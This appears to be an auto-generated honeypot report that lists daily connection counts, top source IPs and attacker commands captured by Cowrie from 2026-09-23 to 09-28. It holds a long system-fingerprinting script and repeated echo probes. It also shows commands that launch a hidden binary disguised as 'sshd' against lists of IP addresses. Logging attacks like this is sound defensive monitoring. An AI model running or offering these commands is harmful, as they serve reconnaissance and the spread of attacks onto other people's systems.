Xin chào, mình là Kris Pham 👋

47 connections hit the honeypot on 2026-09-23, from 30 unique IP(s).

Top source IPs

152.32.205.225 — 4 connections
45.194.70.253 — 3 connections
222.213.116.93 — 3 connections
193.3.53.2 — 3 connections
88.252.211.36 — 2 connections

Commands attempted

grep -c ^processor /proc/cpuinfo
grep -c ^processor /proc/cpuinfo

Auto-generated from the Cowrie session logs. Updates automatically while the day is still in progress.

This day has ended — the numbers above are final and will not change further.

80 connections hit the honeypot on 2026-09-24, from 42 unique IP(s).

Top source IPs

172.236.35.120 — 14 connections
2.57.122.150 — 4 connections
45.190.6.3 — 2 connections
78.181.223.203 — 2 connections
45.162.134.141 — 2 connections

Commands attempted

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo "")
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo "")
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )
echo "UNAME:$uname"
echo "ARCH:$arch"
echo "UPTIME:$uptime"
echo "CPUS:$cpus"
echo "CPU_MODEL:$cpu_model"
echo "GPU:$gpu_info"
echo "LAST:$last_output"
echo "FILTER:$filter_output"
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo "")
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo "")
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )
echo "UNAME:$uname"
echo "ARCH:$arch"
echo "UPTIME:$uptime"
echo "CPUS:$cpus"
echo "CPU_MODEL:$cpu_model"
echo "GPU:$gpu_info"
echo "LAST:$last_output"
echo "FILTER:$filter_output"
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo "")
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo "")
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )
echo "UNAME:$uname"
echo "ARCH:$arch"
echo "UPTIME:$uptime"
echo "CPUS:$cpus"
echo "CPU_MODEL:$cpu_model"
echo "GPU:$gpu_info"
echo "LAST:$last_output"
echo "FILTER:$filter_output"

Auto-generated from the Cowrie session logs. Updates automatically while the day is still in progress.

This day has ended — the numbers above are final and will not change further.

7009 connections hit the honeypot on 2026-09-25, from 41 unique IP(s).

Top source IPs

36.91.6.68 — 6948 connections
139.19.117.131 — 4 connections
190.176.248.138 — 2 connections
185.247.137.146 — 2 connections
201.222.40.83 — 2 connections

Commands attempted

echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"

Auto-generated from the Cowrie session logs. Updates automatically while the day is still in progress.

This day has ended — the numbers above are final and will not change further.

5005 connections hit the honeypot on 2026-09-26, from 25 unique IP(s).

Top source IPs

36.91.6.68 — 4973 connections
20.65.202.85 — 2 connections
92.52.174.54 — 2 connections
186.235.252.141 — 2 connections
143.255.85.99 — 2 connections

Commands attempted

echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"
echo -e "\x6F\x6B"

Auto-generated from the Cowrie session logs. Updates automatically while the day is still in progress.

This day has ended — the numbers above are final and will not change further.

42 connections hit the honeypot on 2026-09-27, from 28 unique IP(s).

Top source IPs

139.19.117.131 — 4 connections
100.58.154.3 — 2 connections
194.44.27.195 — 2 connections
186.1.185.95 — 2 connections
103.135.219.183 — 2 connections

Auto-generated from the Cowrie session logs. Updates automatically while the day is still in progress.

This day has ended — the numbers above are final and will not change further.

50 connections hit the honeypot on 2026-09-28, from 32 unique IP(s).

Top source IPs

216.180.246.26 — 5 connections
172.212.107.121 — 2 connections
148.3.31.235 — 2 connections
111.119.42.22 — 2 connections
40.124.123.182 — 2 connections

Commands attempted

chmod +x ./.5914015177058927130/sshd;nohup ./.5914015177058927130/sshd 138.197.163.192 194.124.211.242 159.203.108.2 41.225.238.233 103.161.16.196 153.121.37.243 103.63.101.24 148.72.168.29 41.111.172.25 45.118.144.36 41.93.28.4 46.101.196.16 3.88.41.242 111.67.19.59 27.0.135.12 188.166.211.175 54.206.5.81 138.99.79.29 217.18.94.226 0.0.0.0 150.241.245.107 158.51.96.38 165.232.148.95 103.17.119.245 94.79.54.73 218.51.197.186 161.129.211.63 172.245.43.228 210.16.103.246 89.238.165.139 34.143.191.88 85.133.145.251 163.128.235.62 150.237.70.241 96.44.161.98 131.161.12.42 77.246.111.220 51.15.19.10 175.100.126.158 154.211.13.102 161.129.211.56 37.140.242.106 65.181.92.228 13.201.75.19 103.3.247.65 222.167.207.184 103.42.244.95 103.232.25.114 80.69.173.174 103.139.101.114 45.55.30.94 &
chmod +x ./.3807633378881263723/sshd;nohup ./.3807633378881263723/sshd 221.178.246.21 139.47.111.219 122.228.86.100 45.55.30.94 185.148.3.161 172.245.43.228 120.48.7.234 85.159.228.176 120.209.186.110 39.175.51.58 101.91.114.194 120.92.10.155 103.219.32.239 185.27.121.34 188.166.211.175 119.96.137.18 39.152.100.128 158.51.96.38 88.151.34.218 183.224.79.111 180.129.222.228 150.138.143.79 117.22.230.46 123.58.212.100 46.70.206.6 34.173.87.191 139.59.238.39 161.129.211.56 116.169.58.224 101.36.228.201 120.193.9.168 106.13.167.239 138.197.163.192 149.129.236.37 186.13.21.145 210.16.103.246 105.156.135.68 50.6.228.52 220.170.52.145 0.0.0.0 123.182.141.91 45.55.91.50 222.223.177.118 192.3.252.25 89.126.222.163 43.226.36.171 163.245.213.245 41.93.28.11 160.191.89.7 72.46.85.159 148.72.168.29 &

Auto-generated from the Cowrie session logs. Updates automatically while the day is still in progress.

This day has ended — the numbers above are final and will not change further.